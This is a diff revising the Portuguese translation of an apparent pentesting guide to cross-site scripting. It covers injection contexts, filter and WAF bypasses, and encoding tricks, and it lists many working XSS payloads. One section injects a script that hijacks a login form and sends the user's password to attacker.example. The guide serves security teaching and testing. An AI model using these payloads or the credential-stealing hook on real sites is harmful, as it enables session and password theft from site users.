-Caso seja vulnerável, você poderia **disparar um alert** simplesmente enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e underscores (**`[\w\._]`**).
+Se for vulnerável, você pode ser capaz de **disparar um alert** simplesmente enviando o valor: **`?callback=alert(1)`**. No entanto, é muito comum que esses endpoints **validem o conteúdo** para permitir apenas letras, números, pontos e underscores (**`[\w\._]`**).
 
-However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**:
+No entanto, mesmo com essa limitação ainda é possível realizar algumas ações. Isso porque você pode usar esses caracteres válidos para **acessar qualquer elemento no DOM**:
 
 ![](<../../images/image (747).png>)
 
@@ -120,7 +120,7 @@ Você também pode tentar **acionar funções Javascript** diretamente: `obj.sal
 
 No entanto, normalmente os endpoints que executam a função indicada são endpoints sem um DOM muito interessante, **outras páginas na mesma origem** terão um **DOM mais interessante** para realizar mais ações.
 
-Portanto, para **abusar dessa vulnerabilidade em um DOM diferente** a exploração **Same Origin Method Execution (SOME)** foi desenvolvida:
+Portanto, para **abusar dessa vulnerabilidade em um DOM diferente** foi desenvolvida a exploração **Same Origin Method Execution (SOME)**:
 
 
 {{#ref}}
@@ -129,7 +129,7 @@ some-same-origin-method-execution.md
 
 ### DOM
 
-Existe **JS code** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.
+Existe código **JS** que está usando de forma **insegura** alguns **dados controlados por um atacante** como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.
 
 
 {{#ref}}
@@ -138,7 +138,7 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Esse tipo de XSS pode ser encontrado **em qualquer lugar**. Não dependem apenas da exploração no cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\
+Este tipo de XSS pode ser encontrado **em qualquer lugar**. Eles não dependem apenas da exploração no cliente de uma aplicação web, mas de **qualquer** **contexto**. Esse tipo de **execução arbitrária de JavaScript** pode até ser abusado para obter **RCE**, **ler** **arquivos** **arbitrários** em clientes e servidores, e mais.\
 Alguns **exemplos**:
 
 
@@ -151,17 +151,17 @@ server-side-xss-dynamic-pdf.md
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## WAF bypass encoding image
+## Imagem de encoding para bypass de WAF
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## Injecting inside raw HTML
+## Injetando dentro do HTML bruto
 
-Quando seu input é refletido **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto a **primeira** coisa que você precisa fazer é verificar se você pode abusar de `<` para criar novas tags: apenas tente **refletir** esse **char** e verifique se está sendo **HTML encoded** ou **deletado** ou se é **refletido sem alterações**. **Somente no último caso você poderá explorar essa situação**.\
-Para esses casos também **lembre-se** de [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Nota: Um comentário HTML pode ser fechado usando\*\***\***\*`-->`\*\***\***\*ou \*\***`--!>`\*\*_
+Quando seu input é refletido **dentro da página HTML** ou você pode escapar e injetar código HTML nesse contexto, a **primeira** coisa que você precisa fazer é verificar se você pode abusar do `<` para criar novas tags: basta tentar **refletir** esse **caractere** e checar se ele está sendo **HTML encoded** ou **deletado**, ou se é **refletido sem alterações**. **Somente no último caso você poderá explorar essa situação**.\
+Para esses casos também **tenha em mente** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+_**Nota: Um comentário HTML pode ser fechado usando `-->` ou `--!>`**_
 
-Nesse caso e se não for usado black/whitelisting, você pode usar payloads como:
+Nesse caso e se nenhum black/whitelisting for usado, você poderia usar payloads como:
 ```html
 <script>
 alert(1)
@@ -169,22 +169,22 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Mas, se estiver a ser usado black/whitelisting de tags/attributes, você precisará **brute-force quais tags** você pode criar.\
-Uma vez que você tenha **localizado quais tags são permitidas**, você precisará **brute-force attributes/events** dentro das tags válidas encontradas para ver como pode atacar o contexto.
+Mas, se estiver a ser usado tags/attributes black/whitelisting, você precisará **brute-force quais tags** pode criar.\
+Uma vez que você tenha **localizado quais tags são permitidas**, você precisará **brute-force attributes/events** dentro das tags válidas encontradas para ver como atacar o contexto.
 
-### Brute-force de Tags/Eventos
+### Tags/Events brute-force
 
-Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copy tags to clipboard**_. Em seguida, envie todos eles usando Burp intruder e verifique se alguma tag não foi descoberta como maliciosa pelo WAF. Uma vez que tenha descoberto quais tags pode usar, você pode **brute force all the events** usando as tags válidas (na mesma página web clique em _**Copy events to clipboard**_ e siga o mesmo procedimento de antes).
+Vá para [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clique em _**Copy tags to clipboard**_. Depois, envie todos eles usando Burp intruder e verifique se alguma tag não foi detectada como maliciosa pelo WAF. Quando descobrir quais tags pode usar, você pode **brute force all the events** usando as tags válidas (na mesma página clique em _**Copy events to clipboard**_ e siga o mesmo procedimento de antes).
 
-### Tags customizadas
+### Custom tags
 
-Se você não encontrou nenhuma tag HTML válida, pode tentar **criar uma tag customizada** e executar código JS com o atributo `onfocus`. Na requisição XSS, é necessário terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
+Se você não encontrou nenhuma tag HTML válida, pode tentar **create a custom tag** e executar código JS com o atributo `onfocus`. Na XSS request, você precisa terminar a URL com `#` para fazer a página **focar nesse objeto** e **executar** o código:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
 
-Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-lo com alguns truques bobos:
+Se algum tipo de blacklist estiver sendo usado, você pode tentar contorná-la com alguns truques bobos:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -234,31 +234,31 @@ onerror=alert`1`
 //Use more than one
 <<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
 ```
-### Bypass de tamanho (small XSSs)
+### Length bypass (small XSSs)
 
-> [!NOTE] > **Mais tiny XSS para diferentes ambientes** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
+> [!NOTE] > **Mais payloads tiny XSS para diferentes ambientes** podem ser encontrados [**aqui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**aqui**](https://tinyxss.terjanq.me).
 ```html
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-The last one is using 2 unicode characters which expands to 5: telsr\
-Mais desses caracteres podem ser encontrados [aqui](https://www.unicode.org/charts/normalization/).\
-Para ver em quais caracteres ele é decomposto verifique [aqui](https://www.compart.com/en/unicode/U+2121).
+O último está usando 2 caracteres unicode que se expandem para 5: telsr\  
+More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\  
+To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).\
 
 ### Click XSS - Clickjacking
 
-Se, para explorar a vulnerabilidade, você precisa que o **usuário clique em um link ou em um form** com dados pré-populados, você pode tentar [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
+Se, para explorar a vulnerabilidade, você precisa que o **usuário clique em um link ou em um formulário** com dados pré-preenchidos, você pode tentar [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (se a página for vulnerável).
 
 ### Impossível - Dangling Markup
 
-Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve checar [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) porque você poderia **exploit** a vulnerabilidade **sem** executar código **JS**.
+Se você acha que **é impossível criar uma tag HTML com um atributo para executar código JS**, você deve checar [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)porque você poderia **exploit** a vulnerabilidade **sem** executar **JS** código.
 
-## Injetando dentro de uma tag HTML
+## Injecting inside HTML tag
 
-### Dentro da tag/escapando do valor do atributo
+### Inside the tag/escaping from attribute value
 
-Se você está **dentro de uma tag HTML**, a primeira coisa que pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [seção anterior](#injecting-inside-raw-html) para executar código JS.\
-Se você **não conseguir escapar da tag**, pode criar novos atributos dentro da tag para tentar executar código JS, por exemplo usando algum payload como (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
+Se você está **dentro de uma tag HTML**, a primeira coisa que pode tentar é **escapar** da tag e usar algumas das técnicas mencionadas na [previous section](#injecting-inside-raw-html) para executar código **JS**.\  
+Se você **não consegue escapar da tag**, você pode criar novos atributos dentro da tag para tentar executar código **JS**, por exemplo usando um payload como (_observe que neste exemplo aspas duplas são usadas para escapar do atributo, você não vai precisar delas se sua entrada for refletida diretamente dentro da tag_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -275,14 +275,14 @@ Se você **não conseguir escapar da tag**, pode criar novos atributos dentro da
 ```
 ### Dentro do atributo
 
-Mesmo se você **não puder escapar do atributo** (`"` está sendo codificado ou removido), dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=` você poderá fazê-lo executar código arbitrário quando for clicado.\
-Outro **exemplo** interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
+Mesmo se você **não puder escapar do atributo** (`"` está sendo encoded ou deleted), dependendo de **qual atributo** seu valor está sendo refletido e **se você controla todo o valor ou apenas uma parte** você poderá abusar dele. Por **exemplo**, se você controla um evento como `onclick=` você poderá fazê-lo executar código arbitrário quando for clicado.\
+Outro exemplo interessante é o atributo `href`, onde você pode usar o protocolo `javascript:` para executar código arbitrário: **`href="javascript:alert(1)"`**
 
 **Bypass dentro do evento usando HTML encoding/URL encode**
 
-Os **caracteres HTML encoded** dentro do valor dos atributos de tags HTML são **decodificados em runtime**. Portanto algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+Os **caracteres codificados em HTML** dentro do valor dos atributos de tags HTML são **decodificados em tempo de execução**. Portanto algo como o seguinte será válido (o payload está em negrito): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Observe que **qualquer tipo de HTML encode é válido**:
+Note que **qualquer tipo de HTML encode é válido**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -309,9 +309,9 @@ Observe que **qualquer tipo de HTML encode é válido**:
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
-### Protocolos Especiais dentro do atributo
+### Protocolos Especiais Dentro do atributo
 
-Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns lugares para **executar código JS arbitrário**. Alguns vão exigir interação do usuário; outros não.
+Lá você pode usar os protocolos **`javascript:`** ou **`data:`** em alguns locais para **executar código JS arbitrário**. Alguns vão exigir interação do usuário e outros não.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -331,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
 data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
 data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
 ```
-**Lugares onde você pode injetar esses protocolos**
+**Locais onde você pode injetar esses protocolos**
 
-**Em geral** o protocolo `javascript:` pode ser **usado em qualquer tag que aceite o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (mas não `<img`)
+**De modo geral** o protocolo `javascript:` pode ser **usado em qualquer tag que aceita o atributo `href`** e na **maioria** das tags que aceitam o **atributo `src`** (mas não `<img>`)
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -355,11 +355,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Outros truques de ofuscação**
 
-_**Neste caso, o truque de HTML encoding e o truque de Unicode encoding da seção anterior também são válidos, pois você está dentro de um atributo.**_
+_**Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Além disso, existe outro **truque interessante** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo URL encoded, ela será URL decoded antes de ser executada.** Então, se você precisa **escapar** da **string** usando uma **aspa simples** e vê que **está sendo URL encoded**, lembre-se que **não importa,** ela será **interpretada** como uma **aspa simples** durante o **tempo de execução**.
+Além disso, existe outro **truque legal** para esses casos: **Mesmo que sua entrada dentro de `javascript:...` esteja sendo URL encoded, ela será URL decoded antes de ser executada.** Então, se você precisa **escape** da **string** usando uma **aspas simples** e vê que **ela está sendo URL encoded**, lembre-se de que **isso não importa,** ela será **interpretada** como uma **aspas simples** durante o **tempo de execução**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@@ -385,16 +385,17 @@ Você pode usar **Hex** e **Octal encode** dentro do atributo `src` de `iframe`
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Se você puder injetar qualquer URL em uma tag arbitrária **`<a href=`** que contenha os atributos **`target="_blank" and rel="opener"`**, verifique a **seguinte página para explorar esse comportamento**:
+Se você conseguir injetar qualquer URL em uma tag arbitrária **`<a href=`** que contenha os atributos **`target="_blank" and rel="opener"`**, verifique a **seguinte página para explorar esse comportamento**:
+
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### Bypass em Event Handlers "on"
+### on Event Handlers Bypass
 
 Primeiro verifique esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para **"on" event handlers** úteis.\
-Caso exista alguma blacklist impedindo que você crie esses event handlers, você pode tentar os seguintes bypasses:
+Caso exista alguma blacklist impedindo você de criar esses event handlers você pode tentar os seguintes bypasses:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -416,7 +417,7 @@ A partir de [**here**](https://portswigger.net/research/exploiting-xss-in-hidden
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 ```
-E nas **meta tags**:
+E em **meta tags**:
 ```html
 <!-- Injection inside meta attribute-->
 <meta
@@ -430,7 +431,7 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-A partir de [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **XSS payload dentro de um atributo hidden**, desde que consiga **persuadir** a **vítima** a pressionar a **combinação de teclas**. No Firefox em Windows/Linux, a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no atributo accesskey. Aqui está o vetor:
+A partir de [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Você pode executar um **XSS payload dentro de um hidden attribute**, desde que consiga **convencer** a **victim** a pressionar a **key combination**. No Firefox (Windows/Linux) a combinação de teclas é **ALT+SHIFT+X** e no OS X é **CTRL+ALT+X**. Você pode especificar uma combinação de teclas diferente usando uma tecla diferente no access key attribute. Aqui está o vetor:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
@@ -438,27 +439,27 @@ A partir de [**here**](https://portswigger.net/research/xss-in-hidden-input-fiel
 
 ### Blacklist Bypasses
 
-Vários truques usando diferentes encoding já foram expostos nesta seção. Volte para aprender onde você pode usar:
+Várias técnicas usando diferentes codificações já foram expostas nesta seção. Volte para aprender onde você pode usar:
 
 - **HTML encoding (HTML tags)**
-- **Unicode encoding (pode ser código JS válido):** `\u0061lert(1)`
+- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
 - **URL encoding**
 - **Hex and Octal encoding**
 - **data encoding**
 
-**Bypasses para HTML tags and attributes**
+**Bypasses for HTML tags and attributes**
 
-Leia os [Blacklist Bypasses da seção anterior](#blacklist-bypasses).
+Leia a[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
-**Bypasses para JavaScript code**
+**Bypasses for JavaScript code**
 
-Leia o [JavaScript bypass blacklist da seção seguinte](#javascript-bypass-blacklists-techniques).
+Leia a J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
-Se você encontrar um **XSS em uma parte muito pequena** do site que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar **modificar o espaço que o elemento ocupa** para maximizar as probabilidades de que o link seja acionado.
+Se você encontrar um **XSS em uma parte muito pequena** do site que requer algum tipo de interação (talvez um pequeno link no footer com um elemento onmouseover), você pode tentar **modificar o espaço que esse elemento ocupa** para maximizar as probabilidades de o link ser acionado.
 
-Por exemplo, você poderia adicionar algum styling no elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Por exemplo, você pode adicionar algum styling no elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
 Mas, se o WAF estiver filtrando o atributo style, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo
 
@@ -474,21 +475,21 @@ Agora você pode modificar nosso link e colocá-lo na forma
 
 Esse truque foi retirado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## Injetando dentro do código JavaScript
+## Injecting inside JavaScript code
 
-Nesse caso sua **entrada** será **refletida dentro do código JS** de um arquivo `.js` ou entre `<script>...</script>` tags ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo `javascript:`.
+Nesses casos, seu **input** será **refletido dentro do código JS** de um arquivo `.js` ou entre `<script>...</script>` tags ou entre HTML events que podem executar JS code ou entre atributos que aceitam o protocolo `javascript:`.
 
 ### Escapando a tag \<script>
 
-Se o seu código for inserido dentro de `<script> [...] var input = 'reflected data' [...] </script>` você pode facilmente **escapar fechando a tag `<script>`**:
+Se seu código for inserido dentro de `<script> [...] var input = 'reflected data' [...] </script>` você pode facilmente **escapar fechando a tag `<script>`**:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Observe que neste exemplo nós **nem sequer fechamos a aspa simples**. Isso acontece porque **a análise HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise de JavaScript para entender e executar os scripts incorporados só é realizada posteriormente.
+Note que, neste exemplo, **nem sequer fechamos a aspa simples**. Isso acontece porque a **análise do HTML é realizada primeiro pelo navegador**, o que envolve identificar elementos da página, incluindo blocos de script. A análise do JavaScript para compreender e executar os scripts incorporados é feita somente depois.
 
 ### Dentro do código JS
 
-Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe JS**, porque se houver erros, o código JS não será executado:
+Se `<>` estiverem sendo sanitizados, você ainda pode **escapar a string** onde sua entrada está **localizada** e **executar JS arbitrário**. É importante **corrigir a sintaxe do JS**, porque se houver algum erro, o código JS não será executado:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -507,14 +508,14 @@ Exemplo de padrão de URL quando o parâmetro vulnerável é refletido em uma st
 ```
 ?param=test";<INJECTION>;a="
 ```
-Isto executa attacker JS sem precisar tocar no contexto HTML (JS-in-JS puro). Combine com blacklist bypasses abaixo quando filtros bloquearem palavras-chave.
+Isso executa JS do atacante sem precisar tocar o contexto HTML (pure JS-in-JS). Combine com blacklist bypasses abaixo quando filtros bloquearem palavras-chave.
 
 ### Template literals ``
 
-Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `**. Isto é conhecido como template literals, pois permitem **embedded JS expressions** usando a sintaxe `${ ... }`.\
-Portanto, se você encontrar que sua entrada está sendo **reflected** dentro de uma string JS que usa backticks, você pode abusar da sintaxe `${ ... }` para executar **arbitrary JS code**:
+Para construir **strings** além de aspas simples e duplas, o JS também aceita **backticks** **` `` `** . Isto é conhecido como template literals pois permitem **embedded JS expressions** usando a sintaxe `${ ... }`.\  
+Portanto, se você encontrar que sua entrada está sendo **refletida** dentro de uma string JS que usa backticks, você pode abusar da sintaxe `${ ... }` para executar **código JS arbitrário**:
 
-Isso pode ser **abused** usando:
+Isso pode ser **abusado** usando:
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
@@ -535,26 +536,26 @@ loop``
 ```
 #### Payloads entregáveis com eval(atob()) e nuances de escopo
 
-Para manter URLs mais curtas e contornar filtros de palavras-chave ingênuos, você pode base64-encodear sua lógica real e avaliá-la com `eval(atob('...'))`. Se um filtro simples por palavras-chave bloquear identificadores como `alert`, `eval` ou `atob`, use identificadores Unicode-escaped que compilam identicamente no navegador mas evadem filtros por correspondência de strings:
+Para manter URLs mais curtas e contornar filtros de palavras-chave ingênuos, você pode codificar sua lógica real em base64 e avaliá-la com `eval(atob('...'))`. Se filtros simples de palavras-chave bloquearem identificadores como `alert`, `eval` ou `atob`, use identificadores escapados em Unicode que compilam de forma idêntica no navegador, mas evadem filtros de correspondência de strings:
 ```
 \u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
 \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
 ```
-Nuance importante de escopo: `const`/`let` declarados dentro de `eval()` têm escopo de bloco e NÃO criam globals; eles não serão acessíveis por scripts posteriores. Use um elemento `<script>` injetado dinamicamente para definir global, non-rebindable hooks quando necessário (e.g., to hijack a form handler):
+Observação importante sobre escopo: `const`/`let` declarados dentro de `eval()` têm escopo de bloco e NÃO criam variáveis globais; eles não estarão acessíveis a scripts posteriores. Use um elemento `<script>` injetado dinamicamente para definir hooks globais não reatribuíveis quando necessário (por exemplo, para hijack a form handler):
 ```javascript
 var s = document.createElement('script');
 s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
 document.head.appendChild(s);
 ```
-Referência: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
 
-### Codificação Unicode para execução de JS
+### Codificar Unicode para execução de JS
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### Técnicas de bypass blacklists em JavaScript
+### JavaScript bypass blacklists técnicas
 
 **Strings**
 ```javascript
@@ -592,7 +593,7 @@ eval(8680439..toString(30))(983801..toString(36))
 <TAB>
 /**/
 ```
-**JavaScript comments (do** [**JavaScript Comments**](#javascript-comments) **truque)**
+**Comentários de JavaScript (do** [**JavaScript Comments**](#javascript-comments) **truque)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -600,7 +601,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript quebras de linha (do** [**JavaScript new line**](#javascript-new-lines) **truque)**
+**JavaScript new lines (from** [**JavaScript new line**](#javascript-new-lines) **truque)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -612,7 +613,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**Espaços em branco em JavaScript**
+**JavaScript espaços em branco**
 ```javascript
 log=[];
 function funct(){}
@@ -777,29 +778,29 @@ top[8680439..toString(30)](1)
 ```
 ## **DOM vulnerabilities**
 
-Há código **JS** que está usando **dados inseguros controlados por um atacante** como `location.href`. Um atacante pode abusar disso para executar código JS arbitrário.\
-**Devido à extensão da explicação de** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
+Há código **JS** que usa **dados controlados por um atacante de forma insegura**, como `location.href`. Um atacante poderia abusar disso para executar código JS arbitrário.\
+**Devido à extensão da explicação sobre** [**DOM vulnerabilities foi movida para esta página**](dom-xss.md)**:**
 
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-Lá você encontrará uma **explicação detalhada do que são as DOM vulnerabilities, como são provocadas e como explorá-las**.\
-Além disso, não se esqueça que **no final do post mencionado** você pode encontrar uma explicação sobre [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
+Lá você encontrará uma **explicação detalhada sobre o que são DOM vulnerabilities, como são provocadas e como explorá-las**.\
+Além disso, não esqueça que **ao final do post mencionado** você pode encontrar uma explicação sobre [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
 
-### Escalonando Self-XSS
+### Escalando Self-XSS
 
 ### Cookie XSS
 
-Se você consegue disparar um XSS enviando o payload dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, você pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo acionar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis a cookie XSS). Para isso você pode usar o cookie tossing attack:
+Se você consegue disparar um XSS enviando o payload dentro de um cookie, isso geralmente é um self-XSS. No entanto, se você encontrar um **subdomínio vulnerável a XSS**, pode abusar desse XSS para injetar um cookie em todo o domínio, conseguindo disparar o cookie XSS no domínio principal ou em outros subdomínios (aqueles vulneráveis ao cookie XSS). Para isso você pode usar o cookie tossing attack:
 
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+Você pode encontrar um ótimo exemplo de abuso desta técnica em [**este post do blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
 ### Enviando sua sessão para o admin
 
@@ -807,15 +808,15 @@ Talvez um usuário possa compartilhar seu perfil com o admin e, se o self XSS es
 
 ### Session Mirroring
 
-Se você encontrar algum self XSS e a página web tiver um **session mirroring for administrators**, por exemplo permitindo que clientes peçam ajuda e, para o admin ajudá-lo, ele verá o que você está vendo na sua sessão mas a partir da sessão dele.
+Se você encontrar algum self XSS e a página web tiver um **session mirroring for administrators**, por exemplo permitindo que clientes peçam ajuda e, para que o admin o ajude, ele verá o que você está vendo na sua sessão, mas a partir da sessão dele.
 
-Você poderia fazer com que o **administrador acionasse seu self XSS** e roubar seus cookies/sessão.
+Você poderia fazer com que o **admin** acionasse o seu self XSS e roubasse seus cookies/sessão.
 
-## Other Bypasses
+## Outros Bypasses
 
-### Normalised Unicode
+### Unicode Normalizado
 
-Você pode verificar se os **reflected values** estão sendo **unicode normalized** no servidor (ou no client side) e abusar dessa funcionalidade para contornar proteções. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
+Você pode verificar se os **valores refletidos** estão sendo **unicode normalized** no servidor (ou no lado do cliente) e abusar dessa funcionalidade para contornar proteções. [**Encontre um exemplo aqui**](../unicode-injection/index.html#xss-cross-site-scripting).
 
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
@@ -823,16 +824,16 @@ Você pode verificar se os **reflected values** estão sendo **unicode normalize
 ```
 ### Ruby-On-Rails bypass
 
-Devido a **RoR mass assignment** aspas são inseridas no HTML e então a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
+Devido ao **RoR mass assignment** aspas são inseridas no HTML e então a restrição de aspas é contornada e campos adicionais (onfocus) podem ser adicionados dentro da tag.\
 Exemplo de formulário ([from this report](https://hackerone.com/reports/709336)), se você enviar o payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-O par "Key","Value" será ecoado assim:
+O par "Key","Value" será retornado assim:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-Então, o atributo onfocus será inserido e XSS ocorre.
+Então, o atributo onfocus será inserido e XSS ocorrerá.
 
 ### Combinações especiais
 ```html
